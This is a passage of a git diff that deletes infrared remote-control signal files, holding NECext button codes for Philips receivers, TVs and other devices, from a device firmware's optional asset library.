-# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2F 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 31 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 32 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir deleted file mode 100644 index 68d97f7ba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/0,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_TV+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_TV- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir deleted file mode 100644 index f9fbe7296..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/16,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: SPEAKERS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir deleted file mode 100644 index b8b57b67c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/17,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: -/-- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0A 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0C 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 0F 00 00 00 -# -name: WIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: PRESET_TRACK+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_TRACK- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: I-II -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir deleted file mode 100644 index eca89c16c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Receiver/5,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir deleted file mode 100644 index 625d4c209..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/0,-1.ir +++ /dev/null @@ -1,404 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: TV_GUIDE_+_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TV_GUIDE_+_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: A/CH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: ALT._AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: TV_GUIDE_+_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: EXT._INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: DTV_FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir deleted file mode 100644 index e6081c355..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/TV/3,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_GUIDE_+_ON/OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 -# -name: TV_GUIDE_+_INFO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2D 00 00 00 -# -name: TV_GUIDE_+_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 3C 00 00 00 -# -name: ANALOG_TV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 76 00 00 00 -# -name: DTV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir deleted file mode 100644 index 91745f97f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SCREENPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: DECHEIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: INCHEIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: QUESTIONMARK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: TUNING-2BTNS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir deleted file mode 100644 index 8f2feb489..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0C 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0F 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: PROGPLUS -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: PROGMINUS -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 21 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 22 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 29 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 37 00 00 00 -# -name: REPEATAB -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 3B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 41 00 00 00 -# -name: TVDVD -type: parsed -protocol: NECext -address: 30 00 00 